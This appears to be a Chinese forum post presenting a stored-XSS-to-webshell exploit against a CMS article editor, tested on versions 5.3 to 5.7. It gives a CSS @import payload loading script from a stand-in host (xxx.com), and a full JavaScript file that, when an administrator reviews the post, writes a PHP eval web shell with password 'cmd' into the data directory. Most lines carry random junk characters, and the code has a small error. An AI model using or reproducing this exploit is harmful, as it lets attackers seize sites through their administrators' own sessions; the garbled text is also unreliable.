<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell3 e/ g" h s' u2 R1 T
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)9 H/ B5 O# d7 b/ ^! E6 r
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
4 F z" o4 T. a下面说说利用方法。' k; x# U% Z* s1 y
条件有2个:
2 Q/ N Y7 ^0 F- ^1.开启注册
. g( o0 N3 c3 V q2.开启投稿9 t& z# \: y4 x/ D" }
注册会员----发表文章
$ q/ L6 ]2 V5 a( L内容填写:
' P, `2 e7 _ W) E复制代码
, V) T2 t9 Y' i# n6 |1 {" O# V<style>@im\port'\http://xxx.com/xss.css';</style>
( N7 h5 \- s7 I [2 Z2 a新建XSS.Css1 s! \; J4 j! V% ~
复制代码
* w" R4 C0 s9 q( Q- F+ N' Q# Z.body{
' y2 `0 t d( ~: \2 x$ G( [background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }5 F* P; v2 { f; K- M. z4 g# Y: N
新建xss.js 内容为
. W6 F( p* B* q5 J1 f/ v4 O0 o复制代码
! M! K0 U( A' _5 X9 B1.var request = false;0 K9 a( e4 Z7 [, w/ t* I4 @" ]" N
2.if(window.XMLHttpRequest) {
* m/ ~9 Z9 \( Y; B" w3.request = new XMLHttpRequest();4 R9 _# F) j2 X6 Z9 U6 K0 k
4.if(request.overrideMimeType) {
" R5 } C4 b% ]* B! R6 F! s5.request.overrideMimeType('text/xml');- c: R! ^1 q D
6.}
: }1 C: E& z# G7 [! K7.} else if(window.ActiveXObject) {3 b* D5 O3 x& X% C* z
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];) s' z" d( U# L8 o, K
9.for(var i=0; i<versions.length; i++) {7 ]6 c) r* z j
10.try {
1 \4 H. K5 x: x7 O0 `: Z% \: S11.request = new ActiveXObject(versions);* k# r0 ?' g& W) g7 _
12.} catch(e) {}. @5 E5 @3 C$ P$ L; j; b
13.}
1 y6 A% @0 |( o4 N3 V' W+ C7 m14.}1 P8 j; B7 n4 b+ K$ c
15.xmlhttp=request;
& C( N+ o+ Z6 _- O; Y2 D6 t* A16.function getFolder( url ){
: F8 g! j5 R2 S* q; [17. obj = url.split('/')
5 E4 n- L/ N }' R/ c( t# z7 }18. return obj[obj.length-2]5 Q y* C$ {( {, t1 Y% u2 y4 U
19.}4 J# z5 k% U; S9 C# X! k
20.oUrl = top.location.href;1 T3 `0 W4 u, I: a* h+ z& z: m
21.u = getFolder(oUrl);
/ f& k" F' k. \$ u, [* L' F' X22.add_admin();
: [; `4 M. _4 h$ Y% S) Y4 ^23.function add_admin(){# t! @) u6 `0 P+ q) c# E0 Y* k; e
24.var url= "/"+u+"/sys_sql_query.php";
4 K! v$ t3 |( x: k/ }( J2 _25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
x0 ?/ R2 x1 f+ p- ]& F8 h, ~$ g( `26.xmlhttp.open("POST", url, true);
- y$ T( B8 D$ M27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); y7 p! ~* M( {1 R. Z; ~
28.xmlhttp.setRequestHeader("Content-length", params.length);. Y& ]) g M- f. {
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");+ i: m/ t! A( j6 h8 Q# Y3 a
30.xmlhttp.send(params);
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当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |